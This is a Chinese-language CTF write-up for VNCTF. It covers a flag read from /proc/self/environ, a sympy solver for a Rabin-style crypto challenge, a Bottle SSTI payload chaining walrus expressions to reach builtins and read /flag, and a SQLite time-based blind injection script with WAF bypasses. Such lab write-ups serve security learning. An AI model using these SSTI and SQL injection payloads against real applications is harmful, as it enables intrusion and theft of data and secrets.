Misc

欢迎!

flag 在环境变量里,使用 & 保留匹配到的内容

1
sed 's/{.*}/&/g' /proc/self/environ

VN_Lang

查看给出的源码,发现只是将硬编码内容显示出来而已,打开 exe 文件也果然如此

DIE 查看是 64 位程序,放入 IDA 查询字符串 VNCTF,即可得到 flag

flag 值:VNCTF{gCGIlgsyxPYY96RxGOwbuHLPLk5LlqjxQCKdb59Tm1fF1}

Crypto

easymath

deepseek 一把梭,给出的脚本运行即可得到 flag

最终脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from sympy import symbols, solve, isprime
from sympy.ntheory import sqrt_mod
from sympy.ntheory.modular import crt
from Crypto.Util.number import long_to_bytes
import itertools

x = symbols('x')
polynomial = x**3 - 15264966144147258587171776703005926730518438603688487721465*x**2 + 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923*x - 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619
# 解多项式并验证根
roots = solve(polynomial, x)
n = []
for root in roots:
p = int(root)
if not isprime(p):
continue
if (p + 1) % 4 != 0:
continue
q = (p + 1) // 4
if isprime(q):
n.append(p)
else:
continue
print("找到素数根:", n)
N = n[0] * n[1] * n[2]
print("计算得到 N =", N)

c = 24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944

# 获取每个素数的所有平方根
sqrt_list = []
for p in n:
roots_p = sqrt_mod(c, p, all_roots=True)
sqrt_list.append(roots_p)
valid_flags = []
for combo in itertools.product(*sqrt_list):
solution = crt(n, combo)
if solution:
x = solution[0]
if (x * x) % N == c:
valid_flags.append(x)
# 同时检查 N - x
x_alt = N - x
if (x_alt * x_alt) % N == c:
valid_flags.append(x_alt)
for candidate in set(valid_flags):
flag = long_to_bytes(candidate)
print(flag)

# VNCTF{90dcfb2dfb21a21e0c8715cbf3643f4a47d3e2e4b3f7b7975954e6d9701d9648}

flag 值:VNCTF{90dcfb2dfb21a21e0c8715cbf3643f4a47d3e2e4b3f7b7975954e6d9701d9648}

Web

学生姓名管理系统(复现)

提示单文件框架,抓包看见后端语言是 python,搜索可知该框架是 bottle 框架

测试一下发现是 ssti 漏洞,每行都能解析,但是单行有长度限制

使用海象表达式绕过单行长度限制,通过继承链得到 flag,payload 如下:

1
{{a:=''}}%0a{{b:=a.__class__}}%0a{{c:=b.__base__}}%0a{{d:=c.__subclasses__}}%0a{{e:=d()[156]}}%0a{{f:=e.__init__}}%0a{{g:=f.__globals__}}%0a{{z:='__builtins__'}}%0a{{h:=g[z]}}%0a{{i:=h['op''en']}}%0a{{x:=i("/flag")}}%0a{{y:=x.read()}}

奶龙回家(复现)

考察 sqlite 时间盲注,先 fuzz 一下 waf,发现空格,sleep 等字符被过滤了

用内联注释符绕过空格,使用 randomblob() 来进行延时,然后跑盲注脚本就行了,官方脚本如下(太卡了,我没跑出来)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import time
url = 'http://node.vnteam.cn:43330/login'
flag = ''
for i in range(1,500):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
time.sleep(0.2)
payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(sql))/**/from/**/sqlite_master),{0},1)>'{1}')/**/then/**/randomblob(500000000)/**/else/**/0/**/end)/*".format(i,chr(mid))
#payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(username))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(50000000)/**/else/**/0/**/end)/*".format(i,chr(mid))
datas = {
"username":"123",
"password": payload
}
start_time=time.time()
res = requests.post(url=url,json=datas)
end_time=time.time()
spend_time=end_time-start_time
if spend_time>=0.19:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)

print('\n'+bytes.fromhex(flag).decode('utf-8'))